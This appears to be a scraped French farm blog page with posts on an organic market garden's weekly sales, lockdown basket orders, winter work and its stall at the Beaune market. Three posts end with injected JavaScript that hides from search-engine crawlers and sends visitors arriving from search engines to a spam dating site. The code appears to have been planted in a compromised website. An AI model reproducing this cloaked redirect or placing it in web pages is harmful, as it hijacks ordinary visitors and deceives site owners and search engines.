Tout seul on fait pas grand chose

Tout seul on fait pas grand chose

Saison 5 de la vente à la ferme Nous avons la chance d'avoir autour de nous d'autres producteurs, et quand le maraîcher sort de son champ pour vendre le fruit de son travail,  il est content de partager la place avec les collègues. Parce qu'on rigole bien, on partage des valeurs communes et qu'en plus on peut en profiter pour faire les courses à domicile!! La saison 5  de la vente à la ferme reprend une forme un peu plus normale dès le 2 juillet, Venez, on vous expliquera, on a trouvé de bonnes idées! Jeudi 17h30-19h (commandes+marché, pain, oeufs, fromage, légumes...) Samedi 9h30-12h (marché uniquement, légumes+oeufs)       ...
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Comment s’en sortir? (du confinement)

Comment s’en sortir? (du confinement)

Nos habitudes de ventes ont été bousculées durant cette longue période confinée... Nous avons été privé de notre grand plaisir de la semaine à l'ouverture des portes de la grange! Fini le bain de foule à Longecourt (si si c'est possible un bain de foule à Longecourt!), on a du mettre ça de côté durant ces trois mois, alors on a fait comme on a pu et forcément quand on fait des choix ça ne peut pas convenir à tous. Il n'y en avait pas assez, ou alors y avait trop de salades, ou bien on voyait même plus les paniers à 10h sur le site.. et je ne vous parle pas du stress des maraîchers en début de saison pour remplir tout les paniers et faire en sorte d'éviter de vous faire un panier que de salades (on aurait pu, mais non nous ne l'avons pas fait!), nous espérons que pour certains cette période aura été l'occasion de se...
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Avant le début de saison

Avant le début de saison

Au programme de notre hiver 2019-2020,  nous n'avons pas chômé entre les travaux dans le futur bâtiment de vente et de stockage, le montage de 3 tunnels en simultané, l'envol d'un autre suite à un des nombreux coup de vent, l'implantation des fraises tant attendues, l’accueil et l'aide précieuse de nos supers stagiaires d'enfer, les tonnes de foin vidées des écuries à aménager, les trente cinq versions des plans d’aménagement du bâtiment, les journées de formation dans le réseau bio Bourgogne, l'arrivée de nos deux consœurs spéciales "écopaturage",  les quarante deux versions du plan d'assolement du jardin, les commandes de plants, de bâches, de toile tissée, d’irrigation, la clôture de notre quatrième exercice comptable, un ou deux ou même trois contrôles  par ci par là, l'audit bio, les livraisons toutes les semaine à l'Amap de Pouilly (et surtout les kilos de radis d'hiver engloutis par nos Amapiens)....tout ça et j'en oublie certainement, ces souvenirs  me semblent précieux à l'heure ou...
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Une bien étrange reprise 2020

La reprise de la saison a un gout très étrange cette année, nous ferons le maximum pour nous adapter aux exigences sanitaires nécessaires.  La saison 5 de la vente à la ferme ne reprendra pas le 16 avril comme prévu mais nous continuerons chaque semaine à proposer une quarantaine de paniers à 20€ en pré commande à venir retirer le mercredi. Vous avez jusqu'au dimanche soir pour passer votre commande. Vous avez été nombreux à nous solliciter, je m'excuse si je n'ai pas pu répondre à toutes les demandes, la charge de travail est importante et notre organisation bousculée. Nous fonctionnons depuis 2 ans grâce à Sophie, une de nos super cliente, avec des paniers  précommandés. Ce système permettait un retrait facile sans faire la queue ou d'"avoir tout ce qu'on veut comme légumes même quand on arrive à 19h" dixit Sophie (la super cliente!).   Bref, ce système se révélè pertinent durant cette crise.Nous permettant ainsi de vous fournir en légumes durant...
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panier du 18 avril

1 botte de blette 300 gr de céleri rave 600gr d'épinards 700 gr de PDT 1 botte de poireaux 2 salades 1 botte de radis 400 gr de rhubarbe 120 gr de roquette les commandes sont à passer ici var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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la ferme sur papier glacé!

Cet hiver, nous en avons profité pour nous exposer au feu des projecteurs de Bourgogne Magazine, qui consacre son dernier numéro au pays Arnétois, ça fait du bien, ça change des légumes même si ils n'étaient pas très loin! var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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Marché de Beaune

Marché de Beaune

Nous sommes présents depuis le mois de juin et jusqu'au mois de novembre 2018 sur le marché de Beaune qui a lieu tout les samedi matin face aux  Hospices. Nous y allons lorsque les récoltes sont bonnes et que le temps nous le permet, nous y serons quelques fois cet hiver! Nous n'avons malheureusement  jamais la même place pour le moment, il faudra encore nous chercher!!var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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